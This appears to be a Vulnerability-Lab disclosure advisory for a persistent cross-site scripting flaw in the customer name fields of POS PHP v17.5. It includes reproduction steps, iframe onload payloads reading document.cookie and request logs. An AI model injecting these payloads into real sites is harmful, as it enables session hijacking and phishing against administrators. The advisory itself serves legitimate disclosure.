Document Title:  
POS PHP v17.5 - Persistent Cross Site Web Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Vulnerability Class:  
Cross Site Scripting - Persistent  
Current Estimated Price:  
1.000€ - 2.000€  
Product & Service Introduction:  
Turn your Retail Small Business into a Customer Focused, Profit  
Generating Machine. Guaranteed to save you time,  
increase the accuracy of your inventory, and help you make informed  
decisions for your business. Types of businesses  
that work great with PHP Point of Sale.  
(Copy of the Homepage: )  
Abstract Advisory Information:  
The vulnerability laboratory core research team discovered a persistent  
cross site scripting web vulnerability in the POS PHP v17.5 web-application.  
Vulnerability Disclosure Timeline:  
2020-04-28: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Exploitation Technique:  
Severity Level:  
Authentication Type:  
Restricted authentication (user/moderator) - User privileges  
User Interaction:  
Low User Interaction  
Disclosure Type:  
Independent Security Research  
Technical Details & Description:  
A persistent input validation web vulnerability has been discovered in  
the official POS PHP v17.5 web-application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with persistent attack vector to  
compromise browser to web-application requests from the application-side.  
The persistent web vulnerability is located in the firstname and  
lastname parameter of the customer profile module.  
Remote attackers are able to change or add malicious script code as  
firstname and lastname to customer profiles.  
Thus allows to execute the script code with persistent attack vector  
against administrators in the backend in the  
/customers/ or customers/save/ modules. The request method to inject is  
POST via add or edit of the customer and  
the attack vector is located on the application-side.  
Successful exploitation of the vulnerability results in session  
hijacking, persistent phishing attacks, persistent  
external redirects to malicious source and persistent manipulation of  
affected application modules.  
Request Method(s):  
[+] POST  
Vulnerable Module(s):  
[+] Customer (index.php/customers/save)  
Vulnerable Input(s):  
[+] Firstname  
[+] Lastname  
Vulnerable File(s):  
Vulnerable Parameter(s):  
[+] firstname  
[+] lastname  
Affected Module(s):  
[+] index.php/customers/  
Proof of Concept (PoC):  
The persistent input validation web vulnerability can be exploited by  
remote attackers with low privilege user account with low user interaction.  
For security demonstration or to reproduce the security web  
vulnerability follow the provided information and steps below to continue.  
Manual steps to reproduce ...  
1. Register a customer account  
2. Move to the profile section  
3. Inject test payload into the vulnerable firstname and lastname input  
4. Save the entry and wait  
Note: The execute occurs in the backend on preview of barcode, customer  
details and more  
5. Wait until the admin or other high privileged user roles are  
interacting for execute  
6. Successful reproduce of the persistent web vulnerability!  
PoC: Exploitation  
<iframe src="evil.source" onload="alert(document.domain)">  
<iframe src="evil.source" onload="alert(document.cookie)">  
PoC: Vulnerable Source  
Reports - PHP Point Of Sale, Inc "<iframe src="evil.source"  
onload="alert(document.cookie)"> >"<iframe src=evil.source  
Report<small class="reports-range">04/25/2019-04/25/2020</small>  
<button class="btn btn-primary text-white hidden-print print_button  
pull-right"> Print </button>   
<button class="btn btn-primary text-white hidden-print  
save_report_button pull-right" data-message="Enter report name"> Add to  
--- PoC Session Logs [POST] ---  
Host: pos-php.localhost:8000  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 156  
Origin: https://pos-php.localhost:8000  
Connection: keep-alive  
Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/  
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u  
name=>"<iframe src=evil.source onload=alert(document.cookie)> >"<iframe  
POST: HTTP/2.0 200 OK  
content-type: text/html; charset=UTF-8  
content-length: 19  
server: Apache  
cache-control: no-store, no-cache, must-revalidate  
set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly  
Host: pos-php.localhost:8000  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data;  
Content-Length: 5237  
Origin: https://pos-php.localhost:8000  
Connection: keep-alive  
Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/  
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u  
first_name=>"<iframe src=evil.source  
onload=alert(document.cookie)>&last_name=>"<iframe src=evil.source  
account_number=&tax_class=&tax_names[]=Sales Tax,Sales Tax  
POST: HTTP/2.0 200 OK  
content-type: text/html; charset=UTF-8  
content-length: 155  
server: Apache  
cache-control: no-store, no-cache, must-revalidate  
set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly  
vary: Accept-Encoding  
content-encoding: gzip  
Host: pos-php.localhost:8000  
Connection: keep-alive  
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u  
GET: HTTP/2.0 200 OK  
content-type: text/html; charset=iso-8859-1  
content-length: 199  
server: Apache  
Credits & Authors:  
Vulnerability-Lab -  
Benjamin Kunz Mejri -  
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